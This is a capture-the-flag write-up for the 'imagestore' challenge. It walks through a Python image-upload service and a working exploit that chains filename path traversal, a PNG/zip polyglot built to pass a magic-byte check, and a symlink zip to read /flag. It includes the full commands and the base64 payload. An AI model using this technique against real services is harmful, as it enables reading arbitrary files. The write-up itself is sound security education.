Tags: miscellaneous file_path_traversal symlink misc extension zip python magic_byte
Rating:
We got first blood on this challenge (10 teams solved it in the end), so here's a writeup of how we solved it.
I keep too many photos of pizzas on my computer and my drive is almost full. Unfortunately I can't simply upload them to Google Photos because I don't like public cloud. So I decided to write my own CLI service to store all my images!
Can you read /flag
?
This is a remote challenge, you can connect to the service with:
nc imagestore.challs.teamitaly.eu 15000
Tip: to input a line longer than 4095 characters on your terminal, run stty -icanon; nc imagestore.challs.teamitaly.eu 15000
.
Author: @napaalm
Attachments: imagestore.py
We are given a python file which the server is running. A user can choose one of the following options:
There are two interesting functions: upload_image
and upload_multiple_images
.
Let's look at upload_multiple_images
first, because the 'Hacker detected' line stands out.
def upload_multiple_images():
path = "/tmp/images.zip"
encoded_content = input("Base64-encoded zip: ")
try:
with open(path, "wb+") as file:
content = base64.b64decode(encoded_content)
file.write(content)
# mamma mia, we don't want symlinks!
for zipinfo in zipfile.ZipFile(file).infolist():
if zipinfo.external_attr >> 16:
print("Hacker detected!!")
return
except zipfile.BadZipFile:
print("Invalid zipfile!")
return
except binascii.Error:
print("Invalid base64")
if subprocess.run(["unzip", "-o", "-q", path, "-d", IMAGES_PATH]).returncode <= 1:
print("Archive successfully uploaded and extracted")
else:
print("Error while extracting the archive")
So we have the option of sending an input. If there's a symlink present, 'Hacker detected' is printed and we return, so we can't upload a zip file such as the following to this function:
❯ ln -s /flag symlink_to_flag.link
❯ zip --symlink cheeky.zip symlink_to_flag.link
Interestingly, when a binascii.Error
is thrown, we don't return, but continue running the function. This results in an attempt to extract /tmp/images.zip
. Maybe we can exploit this in some way? Let's look at the other function that's interesting:
def upload_image():
name = input("Name for your image: ")
encoded_content = input("Base64-encoded image: ")
try:
content = base64.b64decode(encoded_content)
except binascii.Error:
print("Invalid base64!")
return
if content == b"":
print("Empty file!")
return
if not filetype.is_image(content):
print("Only image files are allowed!")
return
with open(os.path.join(IMAGES_PATH, name), "wb") as file:
file.write(content)
Here we see that the filename is vulnerable to a directory traversal attack. This means that we can also write to ../../../tmp/images.zip
. So maybe we can read the flag by uploading a file to this path, which will then be unzipped when we trigger a binascii.Error
in the upload_multiple_images
function?
However, we can't just upload our cheeky.zip
, because we won't pass the filetype.is_image
check. What if we just append our zip
to a png
? Maybe this will pass the filetype.is_image
check, but unzip anyway?
❯ cat cheeky.zip >> pixel.png
When we unzip this, it works as we hoped (despite the warning), so it seems like we have all ingredients ready so we can get the flag!
❯ unzip pixel.png
Archive: pixel.png
warning [pixel.png]: 70 extra bytes at beginning or within zipfile
(attempting to process anyway)
linking: symlink_to_flag.link -> /flag
finishing deferred symbolic links:
symlink_to_flag.link -> /flag
One final complication was the name of the file. When testing locally, we were prompted with:
[/tmp/images.zip]
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
unzip: cannot find zipfile directory in one of /tmp/images.zip or
/tmp/images.zip.zip, and cannot find /tmp/images.zip.ZIP, period.
Error while extracting the archive
So maybe we change ../../../tmp/images.zip
to ../../../tmp/images.zip.zip
? And this worked! We're not sure why this works, so if anyone could enlighten us, we'd be grateful!
Now we are ready to drop our payload remotely.
Create symlink to file.
❯ ln -s /flag symlink_to_flag.link
Check symlink to file:
❯ ls -lh
lrwxrwxrwx 1 user user 5 Sep 9 00:00 symlink_to_flag.link -> /flag
Zip symlink:
❯ zip --symlink cheeky.zip symlink_to_flag.link
adding: symlink_to_flag.link (stored 0%)
Download 1-pixel png and save to file:
❯ echo "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJggg==" | base64 -d > pixel.png
Append zipfile to png:
❯ cat cheeky.zip >> pixel.png
Get our base64 payload:
❯ base64 pixel.png
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==
So now everything is ready to read the flag! Let's connect
❯ nc imagestore.challs.teamitaly.eu 15000
and upload our payload.
1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit
Insert your choice
> 1
Name for your image: ../../../tmp/images.zip.zip
Base64-encoded image: iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVQIW2P4v5ThPwAG7wKklwQ/bwAAAABJRU5ErkJgglBLAwQKAAAAAACzAilVTnsDdQUAAAAFAAAAFAAcAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQJAAPxahpj8WoaY3V4CwABBOgDAAAE6AMAAC9mbGFnUEsBAh4DCgAAAAAAswIpVU57A3UFAAAABQAAABQAGAAAAAAAAAAAAP+hAAAAAHN5bWxpbmtfdG9fZmxhZy5saW5rVVQFAAPxahpjdXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAWgAAAFMAAAAAAA==
We make sure to trigger the binascii.Error
in upload_multiple_images
:
1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit
Insert your choice
> 4
Base64-encoded zip: a
Invalid base64
Archive successfully uploaded and extracted
Now we can download our image:
1. Upload an image
2. Download an image
3. Delete an image
4. Upload multiple images
5. Exit
Insert your choice
> 2
0. symlink_to_flag.link
Select which image to download
> 0
Here is your image
ZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==
And we've got the flag!
❯ echo "ZmxhZ3tkMG50X3RydTV0X000Z2ljX0J5dDNzfQ==" | base64 -d
flag{d0nt_tru5t_M4gic_Byt3s}